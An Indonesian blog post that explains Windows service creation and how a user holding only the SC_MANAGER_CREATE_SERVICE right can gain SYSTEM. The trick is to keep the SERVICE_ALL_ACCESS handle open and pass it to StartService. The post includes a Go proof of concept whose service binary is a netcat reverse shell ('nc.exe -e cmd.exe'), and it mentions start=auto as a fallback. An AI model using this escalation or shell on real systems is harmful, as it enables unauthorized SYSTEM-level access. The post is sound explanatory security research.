Tahun lalu (ternyata udah setahun), gw sempat baca dua buah postingan blog yang membahas tentang Windows Service. Postingan pertama adalah “beyond root” dari mesin Resolute HackTheBox yang ditulis oleh 0xdf dan yang kedua adalah postingan yang ditulis oleh VbScrub. Kedua postingan tersebut dapat dibaca ditautan berikut:

Di postingan pertama, 0xdf lebih membahas tentang psexec-nya Impacket dan tool serupa lainnya, sedangkan di postingan kedua, VbScrub melanjutkan kulikan1nya-nya 0xdf dan lebih membahas tentang Windows service-nya.

Berkat kedua postingan tersebut, saya jadi tertarik juga untuk ikut ngulik dan nyelam ke dokumentasi API Windows service.

Sekilas definisi, sederhananya service adalah suatu program yang berjalan di belakang layar. Untuk Linux/Unix-like, biasanya disebut Daemon.

image-20210812024145951

Sumber colongan tertera

Creation of a Service

Pada Windows, sebuah service dapat dibuat dengan menggunakan command-line utility bawaan Windows bernama sc.exe. Berikut contoh penggunaannya.

C:\> sc.exe create MyService binPath="C:\program.exe"
  • MyService = Nama service
  • binPath = Lokasi executable program (+ argument)

Kedua argumen diatas wajib disuplai (minimal).

Pembuatan service MyService akan berhasil jika perintah di atas dieksekusi pada elevated terminal (akses admin), atau user yang menjalankannya memiliki hak membuat service (SC_MANAGER_CREATE_SERVICE).

C:\Users\fahmi>sc create MyService binPath="C:\myservice\nc.exe"
[SC] CreateService SUCCESS

Jika bukan elevated atau tanpa hak untuk membuat service, maka hasil yang diberikan oleh sc.exe adalah pesan galat “Access is denied”.

C:\Users\fahmi>sc.exe create MyService binPath="C:\myservice\nc.exe"
[SC] OpenSCManager FAILED 5:

Access is denied.

Untuk mengetahui tahap pembuatan/instalasi sebuah service, kita bisa mengacu pada contoh kode bahasa C dari dokumentasi Microsoft berikut.

VOID SvcInstall()
{
    SC_HANDLE schSCManager;
    SC_HANDLE schService;
    TCHAR szPath[MAX_PATH];

    if( !GetModuleFileName( "", szPath, MAX_PATH ) )
    {
        printf("Cannot install service (%d)\n", GetLastError());
        return;
    }
    
     // Creation of a Service: STEP 1
    // Get a handle to the SCM database.
    schSCManager = OpenSCManager(
        NULL,                    // local computer
        NULL,                    // ServicesActive database
        SC_MANAGER_ALL_ACCESS);  // full access rights

    if (NULL == schSCManager)
    {
        printf("OpenSCManager failed (%d)\n", GetLastError());
        return;
    }
     // Creation of a Service: STEP 2
    // Create the service
    schService = CreateService(
        schSCManager,              // SCM database
        SVCNAME,                   // name of service
        SVCNAME,                   // service name to display
        SERVICE_ALL_ACCESS,        // desired access
        SERVICE_WIN32_OWN_PROCESS, // service type
        SERVICE_DEMAND_START,      // start type
        SERVICE_ERROR_NORMAL,      // error control type
        szPath,                    // path to service's binary
        NULL,                      // no load ordering group
        NULL,                      // no tag identifier
        NULL,                      // no dependencies
        NULL,                      // LocalSystem account
        NULL);                     // no password

    if (schService == NULL)
    {
        printf("CreateService failed (%d)\n", GetLastError());
        CloseServiceHandle(schSCManager);
        return;
    }
    else printf("Service installed successfully\n");

    // Creation of a Service: STEP 3
    CloseServiceHandle(schService);
    CloseServiceHandle(schSCManager);
}

Secara garis besar, tahap pembuatan service adalah seperti berikut:

  1. Program membuat koneksi ke Service Control Manager (SCM) dengan memanggil fungsi OpenSCManager. Fungsi ini mempunyai nilai kembali yang disebut handle (selanjutnya disebut handle SCM). Handle SCM ini memegang level akses tertentu terhadap SCM, detailnya bisa dilihat disini.
  2. Handle SCM bersama dengan argumen lainnya yang disuplai seperti “nama service” dan “binPath” akan di-passing ke fungsi CreateService() untuk membuat service. Fungsi CreateService() juga mempunyai nilai kembali berupa handle (kita sebut handle SVC) dengan level akses tertentu terhadap si service tersebut, detailnya bisa dilihat disini.
  3. Di tahap ini, pesan sukses ditampilkan kemudian handle SCM dan handle SVC ditutup dan program keluar.
  • SCM sederhananya dapat dianggap sebagai database dari service.
  • Handle SCM menentukan apakah kita dapat melakukan read/write access pada SCM dan handle SVC menentukan apakah kita dapat mengontrol suatu service. Didapatkannya handle SVC sendiri bergantung pada level akses handle SCM.

Pada potongan kode sebelumnya akses handle SCM adalah SC_MANAGER_ALL_ACCESS, maka pemberian hak ases ini memerlukan elevated process (admin). Jadi bisa dibenarkan pembuatan service memerlukan akses admin. Sedangkan kasus mesin Resolute yang diulas oleh 0xdf, handle SCM dengan akses SC_MANAGER_CREATE_SERVICE pun sudah cukup untuk membuat service.

Starting a Service

Masih dengan tool yang sama (sc.exe), sebuah service dapat di jalankan dengan perintah berikut.

C:\>sc start MyService

Normalnya, service yang berhasil dibuat oleh user menggunakan sc.exe dalam mode elevated atau user dengan hak SC_MANAGER_CREATE_SERVICE tidak akan bisa dikontrol (start, stop) oleh regular user.

C:\Users\fahmi>sc create MyService binPath="C:\myservice\nc.exe"
[SC] CreateService SUCCESS

C:\Users\fahmi>sc start MyService
[SC] StartService: OpenService FAILED 5:

Access is denied.

Pada contoh diatas, pembuatan service berhasil karena user fahmi memiliki hak SC_MANAGER_CREATE_SERVICE, tetapi tidak memiliki kontrol atas service yang dibuatnya.

Jika melihat dokumentasi Microsoft, yang juga dalam bahasa C, tahapan menjalankan sebuah service tanpa sc.exe secara garis besarnya adalah seperti berikut:

  1. Membuat koneksi ke SCM database dan mendapatkan handle SCM dengan level akses tertentu
  2. Handle SCM kemudian di-passing ke fungsi OpenService(). Fungsi ini mengembalikan handle SVC dengan level akses tertentu.
  3. Handle SVC yang didapat dipassing ke StartService untuk mulai menjalankan service.

Dari ketiga tahap menjalankan service tersebut, regular user tentunya akan mendapat galat berupa “Access is denied” di tahap 2 karena handle SVC tidak didapatkan dan handle SCMnya hanya sebatas level user.

Don’t Close the Handles!

Kalau kita lihat kembali ke proses pembuatan service, tepatnya pada tahap 2 fungsi CreateSevice() dipanggil, ternyata si pembuat service (level admin atau user dengan hak SC_MANAGER_CREATE_SERVICE) bisa menentukan level akses dirinya terhadap service yang dibuat dan handle SVC yang dikembalikan oleh fungsi tersebut akan memiliki level akses yang sama.

Jadi, jika saat pembuatan service A, level akses yang disuplai adalah SERVICE_ALL_ACCESS (full kontrol), maka handle SVC A pun akan memiliki level akses yang sama terhadap Service A. Sayangnya handle SVC A ini ditutup berbarengan dengan handle SCM (tahap 3 pembuatan service).

Lalu, kira-kira apa jadinya jika handle SVC A tersebut tidak ditutup seperti seharusnya, melainkan dilanjut dan disuplai ke fungsi StartService? Hal inilah yang ditemukan oleh 0xdf dan VbScrub!

Untuk mencoba hal tersebut tentunya kita perlu membuat custom program terlebih dahulu dan berikut adalah program yang saya tulis dalam bahasa Go (Programnya versi argumen, bisa di cek disini).

package main

import "golang.org/x/sys/windows"

func main() {
	// Creation of a Service: STEP 1
	// Connect to scm to get a handle to create a service
	scmHandle, err := windows.OpenSCManager(nil, nil, windows.SC_MANAGER_CREATE_SERVICE)
	if err != nil {
		fmt.Print("Error cannot create a service", err)
		os.Exit(-1)
	}

	// define service
	serviceName, _ := windows.UTF16PtrFromString("MyService")
	serviceExecPath, _ := windows.UTF16PtrFromString(`C:\myservice\nc.exe -e cmd.exe localhost 9000`)

	// Creation of a ervice: STEP 2
	// Create a service
	svcHandle, err := windows.CreateService(
		scmHandle,                         // SCM database
		serviceName,                       // name of service
		nil,                               // service name to display
		windows.SERVICE_ALL_ACCESS,        // desired access
		windows.SERVICE_WIN32_OWN_PROCESS, // service type
		windows.SERVICE_DEMAND_START,      // start type
		windows.SERVICE_ERROR_NORMAL,      // error control type
		serviceExecPath,                   // path to service's binary
		nil,                               // no load ordering group
		nil,                               // no tag identifier
		nil,                               // no dependencies
		nil,                               // LocalSystem account
		nil,                               // no password
	)
	if err != nil {
		fmt.Print("err", err)
		os.Exit(-1)
	}

	// Creation of a Service: STEP 3
	// Don't close the svcHandle, instead send it to StartService
	if windows.StartService(svcHandle, 0, nil); err != nil {
		fmt.Print("Error Starting service", err)
		os.Exit(-1)
	}
    // Creation of a Service: STEP 4
    // Finally close the handles
    windows.CloseServiceHandle(svcHandle)
    windows.CloseHandle(scmHandle)
}

VbScrub sendiri sebelumnya telah menuliskan kode untuk mendemonstrasikan hal ini, bisa dilihat disini.

Hasilnya?

SYSTEM!*

image-20210813011334034

*Perlu diingat user yang menjalankan program sudah perlu hak akses SC_MANAGER_CREATE_SERVICE.

Tapi, kenapa harus custom code?

Karena sc.exe sendiri tidak menyediakan opsi untuk meng-assign SERVICE_ALL_ACCESS pada service yang akan dibuat. Ditambah, setelah proses pembuatan service, handle-handlenya ditutup.

C:\Users\fahmi>sc create
DESCRIPTION:
        Creates a service entry in the registry and Service Database.
USAGE:
        sc <server> create [service name] [binPath= ] <option1> <option2>...

OPTIONS:
NOTE: The option name includes the equal sign.
      A space is required between the equal sign and the value.
 type= <own|share|interact|kernel|filesys|rec|userown|usershare>
       (default = own)
 start= <boot|system|auto|demand|disabled|delayed-auto>
       (default = demand)
 error= <normal|severe|critical|ignore>
       (default = normal)
 binPath= <BinaryPathName to the .exe file>
 group= <LoadOrderGroup>
 tag= <yes|no>
 depend= <Dependencies(separated by / (forward slash))>
 obj= <AccountName|ObjectName>
       (default = LocalSystem)
 DisplayName= <display name>
 password= <password>

Conclusion

Disini kita tahu bahwa regular user dengan hak pembuatan service (SC_MANAGER_CREATE_SERVICE) dapat membuat sebuah service tapi tidak memiliki kontrol langsung untuk menjalankan service tersebut. Tapi hal tersebut berbeda ceritanya jika handle yang didapatkan dari pembuatan sebuah service tersebut langsung digunakan untuk melakukan kontrol terhadap service yang dibuat.

Jadi intinya ini security issue atau bukan?

Kalau mengacu ke dokumentasi Microsoft, bisa disimpulkan secara tidak langsung jika user yang mampu membuat service adalah termasuk admin. Sehingga ini bisa masuk security issue dibagian abuse privilege (user management) mungkin ya.

image-20210812194031337

Nah untuk eksploitasi hak SC_MANAGER_CREATE_SERVICE tanpa custom compiled program kita bisa mengubah nilai “start up type” si service ke otomatis ketika booting dengan mensuplai start=auto pada sc.exe.

Sekian~


  1. *Ngulik itu sebangsa ngoprek 😅 ↩︎

References